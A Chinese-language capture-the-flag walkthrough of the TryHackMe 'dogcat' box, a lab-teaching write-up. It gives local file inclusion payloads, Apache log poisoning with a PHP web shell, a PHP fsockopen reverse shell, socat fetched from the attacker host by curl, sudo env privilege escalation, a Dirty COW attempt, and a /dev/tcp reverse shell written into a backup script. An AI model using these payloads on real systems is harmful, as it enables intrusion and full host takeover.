dogcat

来自tryhackme的一个靶场,启动环境后在80端口上访问到一个web服务,点击查看是一个显示动物图片的功能。

http://10.10.175.143/?view=dog

image-20200724140132214

给参数来个单引号查看变化,发现报错,并且从报错上看,明显是文件读取拼接文件后缀名,所以此处可能存在一个文件读取漏洞。

http://10.10.175.143/?view=dog%27

image-20200724140621351

再尝试添加一个%00来截断后缀,发现没有后缀显示,应该是已经截断。

http://10.10.175.143/?view=dog%27%00

image-20200724140728518

尝试读取本地文件的时候发现只能读取dog和cat的文件,猜测可能是由于判断请求中是否含有相关字段

image-20200724141429734

再%00后面添加dog字段发现可以绕过,说明是判断是否存在字符串,只不过发现读取文件的时候并不能正常读取。include_path在任何文件中都可以直接引入该目录下文件,被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照include_path指定的目录寻找

image-20200724142635527

绕了一圈发现是错误是文件读取上的错误,不能识别文件,说明截断失败,再关注一下php版本发现是7系统,php已经修复%00的文件截断。所以需要一个不截断正常去读取的操作,没有在意php版本导致绕一圈。

image-20200724152733228

调用的时候发现一个报错是多次调用导致重复声明,说明index包含很可能是成功的。

利用php协议来读取文件,尝试php://filter,可以读取到文件内容

/?view=php://filter/read=convert.base64-encode/resource=dog/../index

image-20200724153220725

解码后index的内容为

<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>

存在一个参数ext是获取后缀的,判断是否存在后缀,存在的话拼接参数后缀,构造一个文件读取为地址,也可以ext置为空。

/?view=/dog/../etc/&ext=passwd
/?view=/dog/../etc/passwd&ext=

image-20200724153512101

然后现在需要考虑的就是如果把本地文件读取来获取rce。

想试一下从/proc/self/environ来获取,发现文件没有权限,尝试别的目录,发现可以读取日志。

/?view=/dog/../var/log/apache2/access.log&ext=&aaa=<?=phpinfo();?>

image-20200724155056684

由于使用bp的时候编码和特殊符号会导致写入错误,所以使用curl写一句话

curl -v "http://10.10.136.89/<?php system($_GET\['cmd'\]);?>"

image-20200724173648127

反弹一个shell回来

php+-r+'$sock=fsockopen("10.6.xx.xx",8877);exec("/bin/sh+-i+<%263+>%263+2>%263");'

获取权限后,查看一下sudo权限,env命令可以显示当前用户的环境变量

image-20200727153957529

利用sudo env /bin/bash获取一个root权限

image-20200727154232251

搜了一圈发现只有三个flag,flag4并不在,查了一下根目录发现.dockerenv,这是个docker环境,所以可能需要docker逃逸一下?

先升级一个可交互的shell来操作,docker不带python环境和socat,所以先传一个socat上去。主机不带wget,使用curl

curl -o socat http://10.6.xx.xx:8000/socat

再docker上执行

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.6.xx.xx:4444

在自己监听主机上执行

./socat file:`tty`,raw,echo=0 tcp-listen:4444

image-20200727155322648

再试一手CVE-2016-5195,https://github.com/scumjr/dirtycow-vdso

发现还是不行,查看一下系统上有没有可以利用的文件

/opt/下找到一个backups目录,里面有一个备份的sh脚本。执行的是/root/container目录的备份,但是docker主机并没有这个目录,所以可能是外部主机上的目录。尝试修改反弹shell

echo "bash -i >& /dev/tcp/10.6.xx.xx/8855 0>&1" > /opt/backups/backup.sh

里面的tar包也可以看到。确实是docker的web代码。寻思可能是外部主机上的定时脚本,不过等了半天也没反应。





tocToc: